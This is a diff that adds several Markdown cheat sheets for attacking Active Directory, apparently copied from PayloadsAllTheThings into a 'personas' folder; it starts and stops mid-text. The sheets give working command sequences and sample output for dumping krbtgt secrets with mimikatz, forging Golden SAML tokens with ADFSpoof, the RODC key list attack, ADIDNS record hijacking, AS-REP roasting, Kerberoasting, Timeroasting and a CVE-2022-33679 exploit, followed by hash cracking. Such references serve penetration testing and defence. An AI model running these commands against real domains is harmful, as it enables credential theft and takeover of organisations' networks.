decrypt is the SYSKEY, which is stored in the registry and can be extracted by a domain admin. +This means the hashes can be trivially reversed to the cleartext values, hence the term “reversible encryption”. + +- List users with "Store passwords using reversible encryption" enabled + + ```powershell + Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl + ``` + +The password retrieval is already handled by [SecureAuthCorp/secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py) and mimikatz, it will be displayed as CLEARTEXT. + +## Extract hashes from memory + +Dumps credential data in an Active Directory domain when run on a Domain Controller. + +:warning: Requires administrator access with debug privilege or NT-AUTHORITY\SYSTEM account. + +```powershell +mimikatz> privilege::debug +mimikatz> sekurlsa::krbtgt +mimikatz> lsadump::lsa /inject /name:krbtgt +``` + +## References + +- [Bypassing EDR NTDS.dit protection using BlueTeam tools - bilal al-qurneh - June 9, 2024](https://medium.com/@0xcc00/bypassing-edr-ntds-dit-protection-using-blueteam-tools-1d161a554f9f) +- [Diskshadow The Return Of VSS Evasion Persistence And AD Db Extraction - bohops - March 26, 2018](https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/) +- [Dumping Domain Password Hashes - Pentestlab - July 4, 2018](https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/) +- [Using Ntdissector To Extract Secrets From Adam Ntds Files - Julien Legras, Mehdi Elyassa - December 06, 2023](https://www.synacktiv.com/publications/using-ntdissector-to-extract-secrets-from-adam-ntds-files) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-recycle-bin.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-recycle-bin.md new file mode 100644 index 0000000..d6dad39 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-recycle-bin.md @@ -0,0 +1,82 @@ +# Active Directory - Recycle Bin + +## Details + +* Deleted objects have a default retention time of 180 days +* Recycle Bin path: `CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=example,DC=com` + +Enable Active Directory Recycle Bin in PowerShell + +```ps1 +Enable-ADOptionalFeature -Identity 'CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=contoso,DC=com' -Scope ForestOrConfigurationSet -Target 'contoso.com' +``` + +## Deleted Objects + +**Requirements**: + +* `LIST_CHILD` right on the Deleted Objects container +* OID `1.2.840.113556.1.4.2064`: shows deleted, tombstoned, and recycled + +**Exploitation**: + +* List rights + + ```ps1 + bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --resolve-sd --attr ntsecuritydescriptor --base 'CN=Deleted Objects,DC=domain,DC=local' --filter "(objectClass=container)" + ``` + +* Check all rights from the requirements + + ```ps1 + bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get writable --include-del + ``` + +* List deleted objects with bloodyAD + + ```ps1 + bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(isDeleted=TRUE)' --attr name + ``` + +* List deleted objects with PowerShell + + ```ps1 + Get-ADObject -Filter 'Name -Like "*User*"' -IncludeDeletedObjects + ``` + +## Restore Objects + +**Requirements**: + +* `Restore Tombstoned` right on the domain object +* `Generic Write` right on the deleted object +* `Create Child` right on the OU used for restoration + +By default, only Domain Admins are able to list and restore deleted objects. + +On restoration some objects retains attributes: + +* Deleted objects retain all their attributes (including sensitive ones) +* Tombstoned objects retain most important attributes + +**Exploitation**: + +* Check restore rights + + ```ps1 + bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd + + bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 get search -c 1.2.840.113556.1.4.2064 --filter '(&(isDeleted=TRUE)(sAMAccountName=deleted-computer$))' --attr ntsecuritydescriptor --resolve-sd + + bloodyAD --host 10.10.10.10 -d domain -u user -p 'Password123!' get object 'CN=Users,DC=domain,DC=local' --attr ntsecuritydescriptor --resolve-sd + ``` + +* Restore the object using the sAMAccountName or objectSID + + ```ps1 + bloodyAD -u user -d domain -p 'Password123!' --host 10.10.10.10 set restore 'S-1-5-21-1394970401-3214794726-2504819329-1104' + ``` + +## References + +* [Have You Looked in the Trash? Unearthing Privilege Escalations from the Active Directory Recycle Bin - @CravateRouge - June 25, 2025](https://cravaterouge.com/articles/ad-bin/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adds-rodc.md b/personas/_shared/internal-allthethings/active-directory/ad-adds-rodc.md new file mode 100644 index 0000000..54d48d1 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adds-rodc.md @@ -0,0 +1,68 @@ +# Active Directory - Read Only Domain Controller + +RODCs are an alternative for Domain Controllers in less secure physical locations + +- Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded) +- Any user or group specified in the **managedBy** attribute of an RODC has local admin access to the RODC server + +## RODC Golden Ticket + +- You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s **msDS-RevealOnDemandGroup** attribute and not in the RODC’s **msDS-NeverRevealGroup** attribute + +## RODC Key List Attack + +**Requirements**: + +- [Impacket PR #1210 - The Kerberos Key List Attack](https://github.com/SecureAuthCorp/impacket/pull/1210) +- **krbtgt** credentials of the RODC (-rodcKey) +- **ID of the krbtgt** account of the RODC (-rodcNo) + +**Exploit**: + +- using Impacket + + ```ps1 + # keylistattack.py using SAMR user enumeration without filtering (-full flag) + keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full + + # keylistattack.py defining a target username (-t flag) + keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST + + # secretsdump.py using the Kerberos Key List Attack option (-use-keylist) + secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist + ``` + +- Using Rubeus + + ```ps1 + Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871 + Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM= + ``` + +## RODC Computer Object + +When you have one the following permissions to the RODC computer object: **GenericWrite**, **GenericAll**, **WriteDacl**, **Owns**, **WriteOwner**, **WriteProperty**. + +- Add a domain admin account to the RODC's **msDS-RevealOnDemandGroup** attribute + - Windows/Linux: + + ```ps1 + # Get original msDS-RevealOnDemandGroup values + bloodyAD --host 10.10.10.10 -d domain.local -u username -p pass123 get object 'RODC$' --attr msDS-RevealOnDemandGroup + distinguishedName: CN=RODC,CN=Computers,DC=domain,DC=local + msDS-RevealOnDemandGroup: CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local + # Add the previous value plus the admin account + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 set object 'RODC$' --attr msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local' -v 'CN=Administrator,CN=Users,DC=domain,DC=local' + ``` + + - Windows only: + + ```ps1 + PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')} + ``` + +## References + +- [Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory - Sean Metcalf](https://adsecurity.org/?p=3592) +- [At the Edge of Tier Zero: The Curious Case of the RODC - Elad Shamir](https://posts.specterops.io/at-the-edge-of-tier-zero-the-curious-case-of-the-rodc-ef5f1799ca06) +- [The Kerberos Key List Attack: The return of the Read Only Domain Controllers - Leandro Cuozzo](https://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-adfs-federation-services.md b/personas/_shared/internal-allthethings/active-directory/ad-adfs-federation-services.md new file mode 100644 index 0000000..7e5a604 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-adfs-federation-services.md @@ -0,0 +1,133 @@ +# Active Directory - Federation Services + +Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network. + +## ADFS - DKM Master Key + +* The DKM key is stored in the `thumbnailPhoto` attribute of the AD contact object. + +```ps1 +$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto +[System.BitConverter]::ToString($key) +``` + +## ADFS - Trust Relationship + +Gets the relying party trusts of the Federation Service. + +* Search for `IssuanceAuthorizationRules` + + ```ps1 + Get-AdfsRelyingPartyTrust + ``` + +## ADFS - Golden SAML + +Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system. + +* Golden SAML are effective even when 2FA is enabled. +* The token-signing private key is not renewed automatically +* Changing a user’s password won't affect the generated SAML + +**Requirements**: + +* ADFS service account +* The private key (PFX with the decryption password) + +**Exploitation**: + +* Run [mandiant/ADFSDump](https://github.com/mandiant/ADFSDump) on ADFS server as the **ADFS service account**. It will query the Windows Internal Database (WID): `\\.\pipe\MICROSOFT##WID\tsql\query` +* Convert PFX and Private Key to binary format + + ```ps1 + # For the pfx + echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin + # For the private key + echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin + ``` + +* Create the Golden SAML using [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof), you might need to update the [dependencies](https://github.com/szymex73/ADFSpoof). + + ```ps1 + mkdir ADFSpoofTools + cd $_ + git clone https://github.com/dmb2168/cryptography.git + git clone https://github.com/mandiant/ADFSpoof.git + virtualenv3 venvADFSSpoof + source venvADFSSpoof/bin/activate + pip install lxml + pip install signxml + pip uninstall -y cryptography + cd cryptography + pip install -e . + cd ../ADFSpoof + pip install -r requirements.txt + python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls + /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions 'PENTEST\administrator' + ``` + +**Manual Exploitation**: + +* Retrieve the WID path: `Get-AdfsProperties` +* Retrieve the ADFS Relying Party Trusts: `Get-AdfsRelyingPartyTrust` +* Retrieve the signing certificate, save the `EncryptedPfx` and decode it `base64 -d adfs.b64 > adfs.bin` + + ```powershell + $cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings" + $client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString); + $client.Open(); + $cmd = $client.CreateCommand() + $cmd.CommandText = "SELECT name FROM sys.databases" + $reader = $cmd.ExecuteReader() + $reader.Read() | Out-Null + $name = $reader.GetString(0) + $reader.Close() + Write-Output $name; + ``` + +* Retrieve the DKM key stored inside the `thumbnailPhoto` attribute of the Active Directory: + + ```ps1 + ldapsearch -x -H ldap://DC.domain.local -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=DOMAIN,DC=LOCAL" -D "adfs-svc-account@domain.local" -W -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto + ``` + +* Convert the retrieved key to raw format: `echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key` +* Use [mandiant/ADFSpoof](https://github.com/mandiant/ADFSpoof) to generate the Golden SAML + +NOTE: There might be multiple master keys in the container, remember to try them all. + +**Golden SAML Examples** + +* SAML2: requires `--endpoint`, `--nameidformat`, `--identifier`, `--nameid` and `--assertions` + + ```ps1 + python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls + /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions 'PENTEST\administrator' + ``` + +* Office365: requires `--upn` and `--objectguid` + + ```ps1 + python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1 + ``` + +* Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format. + +**NOTE**: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server. + +Other interesting tools to exploit AD FS: + +* [secureworks/whiskeysamlandfriends/WhiskeySAML](https://github.com/secureworks/whiskeysamlandfriends/tree/main/whiskeysaml) - Proof of concept for a Golden SAML attack with Remote ADFS Configuration Extraction. +* [cyberark/shimit](https://github.com/cyberark/shimit) - A tool that implements the Golden SAML attack + + ```ps1 + python ./shimit.py -idp http://adfs.domain.local/adfs/services/trust -pk key -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id REDACTED + ``` + +## References + +* [I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant](https://troopers.de/downloads/troopers19/TROOPERS19_AD_AD_FS.pdf) +* [Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys - Threat Hunter Playbook](https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html) +* [Exploring the Golden SAML Attack Against ADFS - 7 December 2021](https://www.orangecyberdefense.com/global/blog/cloud/exploring-the-golden-saml-attack-against-adfs) +* [Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps - Shaked Reiner - 11/21/17](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) +* [Meet Silver SAML: Golden SAML in the Cloud - Tomer Nahum and Eric Woodruff - Feb 29, 2024](https://www.semperis.com/blog/meet-silver-saml/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-integrated-dns.md b/personas/_shared/internal-allthethings/active-directory/ad-integrated-dns.md new file mode 100644 index 0000000..05d0d83 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-integrated-dns.md @@ -0,0 +1,80 @@ +# Active Directory - Integrated DNS - ADIDNS + +ADIDNS zone DACL (Discretionary Access Control List) enables regular users to create child objects by default, attackers can leverage that and hijack traffic. Active Directory will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol. + +## LDAP-Based (Require authentication) + +* Enumerate all records + + ```ps1 + adidnsdump -u DOMAIN\\user --print-zones dc.domain.corp (--dns-tcp) + # or + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 get dnsDump + ``` + +* Query a node + + ```ps1 + dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query $DomainController (--legacy) + # or + bloodyAD -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'DC=DomainDnsZones,DC=bloody,DC=lab' --filter '(&(name=allmightyDC)(objectClass=dnsNode))' --attr dnsRecord + ``` + +* Add a node and attach a record + + ```ps1 + dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action add --data $AttackerIP $DomainController + # or + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 add dnsRecord dc1.example.lab + + bloodyAD --host 10.10.10.10 -d example.lab -u username -p pass123 remove dnsRecord dc1.example.lab + ``` + +The common way to abuse ADIDNS is to set a wildcard record and then passively listen to the network. + +```ps1 +Invoke-Inveigh -ConsoleOutput Y -ADIDNS combo,ns,wildcard -ADIDNSThreshold 3 -LLMNR Y -NBNS Y -mDNS Y -Challenge 1122334455667788 -MachineAccounts Y +``` + +## Dynamic Updates (Doesn't require authentication) + +Dynamic DNS (RFC 2136) allows using the DNS protocol to update DNS records: + +1. If the zone is set to Secure Only, you need a valid Kerberos ticket. + +2. If the zone is set to Nonsecure and Secure, anyone on the network can send updates. + +Update a record: + +```ps1 +# Linux +cat << EOF > dnsupdate.txt +server dc.domain.corp +zone domain.corp +update delete test.domain.corp A +update add test.domain.corp 3600 A 10.10.10.123 +send +EOF + +nsupdate dnsupdate.txt + +# Windows +Invoke-DNSupdate -DNSType A -DNSName test -DNSData 192.168.125.100 -Verbose +``` + +## DNS Reconnaissance + +Perform **ADIDNS** searches + +```powershell +StandIn.exe --dns --limit 20 +StandIn.exe --dns --filter SQL --limit 10 +StandIn.exe --dns --forest --domain --user --pass +StandIn.exe --dns --legacy --domain --user --pass +``` + +## References + +* [Getting in the Zone: dumping Active Directory DNS using adidnsdump - Dirk-jan Mollema](https://blog.fox-it.com/2019/04/25/getting-in-the-zone-dumping-active-directory-dns-using-adidnsdump/) +* [ADIDNS Revisited – WPAD, GQBL, and More - December 5, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/adidns-revisited/) +* [Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS - July 10, 2018 | Kevin Robertson](https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-roasting-asrep.md b/personas/_shared/internal-allthethings/active-directory/ad-roasting-asrep.md new file mode 100644 index 0000000..742e641 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-roasting-asrep.md @@ -0,0 +1,134 @@ +# Roasting - ASREP Roasting + +> If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting + +**Requirements**: + +* Accounts with the attribute **DONT_REQ_PREAUTH** + * Windows/Linux: + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName + ``` + + * Windows only: + + ```ps1 + PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose + ``` + +* [Rubeus](https://github.com/GhostPack/Rubeus) + + ```powershell + C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user /format:hashcat /outfile:hashes.asreproast + [*] Action: AS-REP roasting + [*] Target User : TestOU3user + [*] Target Domain : testlab.local + [*] SamAccountName : TestOU3user + [*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local + [*] Using domain controller: testlab.local (192.168.52.100) + [*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' + [*] Connecting to 192.168.52.100:88 + [*] Sent 169 bytes + [*] Received 1437 bytes + [+] AS-REQ w/o preauth successful! + [*] AS-REP hash: + + $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)... + ``` + +* [GetNPUsers](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py) from Impacket Suite + + ```powershell + $ python GetNPUsers.py htb.local/svc-alfresco -no-pass + [*] Getting TGT for svc-alfresco + $krb5asrep$23$svc-alfresco@HTB.LOCAL:c13528009a59be0a634bb9b8e84c88ee$cb8e87d02bd0ac7a[...]e776b4 + + # extract hashes + root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast + root@kali:impacket-examples$ python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast + ``` + +* netexec Module + + ```powershell + $ netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --asreproast output.txt + LDAP 10.0.2.11 389 dc01 $krb5asrep$23$john.doe@LAB.LOCAL:5d1f750[...]2a6270d7$096fc87726c64e545acd4687faf780[...]13ea567d5 + ``` + +Using `hashcat` or `john` to crack the ticket. + +```powershell +# crack AS_REP messages with hashcat +root@kali:impacket-examples$ hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt +root@windows:hashcat$ hashcat64.exe -m 18200 '' -a 0 c:\wordlists\rockyou.txt + +# crack AS_REP messages with john +C:\Rubeus> john --format=krb5asrep --wordlist=passwords_kerb.txt hashes.asreproast +``` + +**Mitigations**: + +* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default). + +## Kerberoasting w/o domain account + +> In September 2022 a vulnerability was discovered by [Charlie Clark](https://exploit.ph/), ST (Service Tickets) can be obtained through KRB_AS_REQ request without having to control any Active Directory account. If a principal can authenticate without pre-authentication (like AS-REP Roasting attack), it is possible to use it to launch an **KRB_AS_REQ** request and trick the request to ask for a **ST** instead of a **encrypted TGT**, by modifying the **sname** attribute in the req-body part of the request. + +The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). + +:warning: You must provide a list of users because we don't have a valid account to query the LDAP using this technique. + +* [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413) + + ```powershell + GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/ + ``` + +* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139) + + ```powershell + Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" + ``` + +## CVE-2022-33679 + +> CVE-2022-33679 performs an encryption downgrade attack by forcing the KDC to use the RC4-MD4 algorithm and then brute forcing the session key from the AS-REP using a known plaintext attack, Similar to AS-REP Roasting, it works against accounts that have pre-authentication disabled and the attack is unauthenticated meaning we don’t need a client’s password.. + +Research from Project Zero : [RC4 Is Still Considered Harmful - James Forshaw](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html) + +**Requirements**: + +Accounts with the attribute **DONT_REQ_PREAUTH** + +* Windows/Linux: + + ```ps1 + bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName + ``` + +* Windows only: + + ```ps1 + PowerView > Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose + ``` + +**Exploitation**: + +* Using [CVE-2022-33679.py](https://github.com/Bdenneu/CVE-2022-33679) + + ```bash + user@hostname:~$ python CVE-2022-33679.py DOMAIN.LOCAL/User DC01.DOMAIN.LOCAL + user@hostname:~$ export KRB5CCNAME=/home/project/User.ccache + user@hostname:~$ netexec smb DC01.DOMAIN.LOCAL -k --shares + ``` + +**Mitigations**: + +* All accounts must have "Kerberos Pre-Authentication" enabled (Enabled by Default). +* Disable RC4 cipher if possible. + +## References + +* [Roasting AS-REPs - January 17, 2017 - harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) +* [Kerberosity Killed the Domain: An Offensive Kerberos Overview - Ryan Hausknecht - Mar 10](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-roasting-kerberoasting.md b/personas/_shared/internal-allthethings/active-directory/ad-roasting-kerberoasting.md new file mode 100644 index 0000000..8d531fe --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-roasting-kerberoasting.md @@ -0,0 +1,104 @@ +# Roasting - Kerberoasting + +> "A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - [MSDN](https://docs.microsoft.com/fr-fr/windows/desktop/AD/service-principal-names) + +Any valid domain user can request a kerberos ticket (ST) for any domain service. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. + +* [SecureAuthCorp/impacket/GetUserSPNs.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py) from Impacket Suite + + ```powershell + GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request + + Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies + + ServicePrincipalName Name MemberOf PasswordLastSet LastLogon + -------------------- ------------- -------------------------------------------------------- ------------------- ------------------- + active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 21:06:40 2018-12-03 17:11:11 + + $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$424338c0a3c3af43[...]84fd2 + ``` + +* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) + + ```powershell + netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 --kerberoast output.txt + LDAP 10.0.2.11 389 dc01 [*] Windows 10.0 Build 17763 x64 (name:dc01) (domain:lab.local) (signing:True) (SMBv1:False) + LDAP 10.0.2.11 389 dc01 $krb5tgs$23$*john.doe$lab.local$MSSQLSvc/dc01.lab.local~1433*$efea32[...]49a5e82$b28fc61[...]f800f6dcd259ea1fca8f9 + ``` + +* [GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) + + ```powershell + # Stats + Rubeus.exe kerberoast /stats + ------------------------------------- ---------------------------------- + | Supported Encryption Type | Count | | Password Last Set Year | Count | + ------------------------------------- ---------------------------------- + | RC4_HMAC_DEFAULT | 1 | | 2021 | 1 | + ------------------------------------- ---------------------------------- + + # Kerberoast (RC4 ticket) + Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /outfile:hash.txt + + # Kerberoast (AES ticket) + # Accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested. + Rubeus.exe kerberoast /tgtdeleg + + # Kerberoast (RC4 ticket) + # The tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted. + Rubeus.exe kerberoast /rc4opsec + ``` + +* [PowerShellMafia/PowerSploit/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) + + ```powershell + Request-SPNTicket -SPN "MSSQLSvc/dcorp-mgmt.dollarcorp.moneycorp.local" + ``` + +* [its-a-feature/bifrost](https://github.com/its-a-feature/bifrost) on **macOS** machine + + ```powershell + ./bifrost -action asktgs -ticket doIF<...snip...>QUw= -service host/dc1-lab.lab.local -kerberoast true + ``` + +* [ShutdownRepo/targetedKerberoast](https://github.com/ShutdownRepo/targetedKerberoast) + + ```powershell + # for each user without SPNs, it tries to set one (abuse of a write permission on the servicePrincipalName attribute), + # print the "kerberoast" hash, and delete the temporary SPN set for that operation + targetedKerberoast.py [-h] [-v] [-q] [-D TARGET_DOMAIN] [-U USERS_FILE] [--request-user username] [-o OUTPUT_FILE] [--use-ldaps] [--only-abuse] [--no-abuse] [--dc-ip ip address] [-d DOMAIN] [-u USER] [-k] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key] + ``` + +Then crack the ticket using the correct hashcat mode (`$krb5tgs$23`= `etype 23`) + +| Mode | Description | +|---------|--------------| +| `13100` | Kerberos 5 TGS-REP etype 23 (RC4) | +| `19600` | Kerberos 5 TGS-REP etype 17 (AES128-CTS-HMAC-SHA1-96) | +| `19700` | Kerberos 5 TGS-REP etype 18 (AES256-CTS-HMAC-SHA1-96) | + +```powershell +./hashcat -m 13100 -a 0 kerberos_hashes.txt crackstation.txt +./john --wordlist=/opt/wordlists/rockyou.txt --fork=4 --format=krb5tgs ~/kerberos_hashes.txt +``` + +## Kerberoasting Without Pre-Authentication + +> If an attacker knows of an account for which pre-authentication isn’t required (i.e. an ASREProastable account), as well as one (or multiple) service accounts to target, a Kerberoast attack can be attempted without having to control any Active Directory account (since pre-authentication won’t be required). + +```ps1 +netexec ldap 10.10.10.10 -u username -p '' --no-preauth-targets users.txt --kerberoasting output.txt +``` + +## Mitigations + +* Have a very long password for your accounts with SPNs (> 32 characters) +* Make sure no users have SPNs + +## References + +* [Abusing Kerberos: Kerberoasting - Haboob Team](https://www.exploit-db.com/docs/english/45051-abusing-kerberos---kerberoasting.pdf) +* [Invoke-Kerberoast - Powersploit Read the docs](https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/) +* [Kerberoasting - Part 1 - Mubix “Rob” Fuller](https://room362.com/post/2016/kerberoast-pt1/) +* [Post-OSCP Series Part 2 - Kerberoasting - 16 APRIL 2019 - Jon Hickman](https://0metasecurity.com/post-oscp-part-2/) +* [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) diff --git a/personas/_shared/internal-allthethings/active-directory/ad-roasting-timeroasting.md b/personas/_shared/internal-allthethings/active-directory/ad-roasting-timeroasting.md new file mode 100644 index 0000000..0319778 --- /dev/null +++ b/personas/_shared/internal-allthethings/active-directory/ad-roasting-timeroasting.md @@ -0,0 +1,16 @@ +# Roasting - Timeroasting + +> Timeroasting takes advantage of Windows' NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account's RID + +* [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort + + ```ps1 + sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt + hashcat -m 31300 ntp-hashes.txt + ``` + +## References + +* [On the Applicability of the Timeroasting Attack - snovvcrash - December 8, 2024](https://snovvcrash.rocks/2024/12/08/applicability-of-the-timeroasting-attack.html) +* [TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER 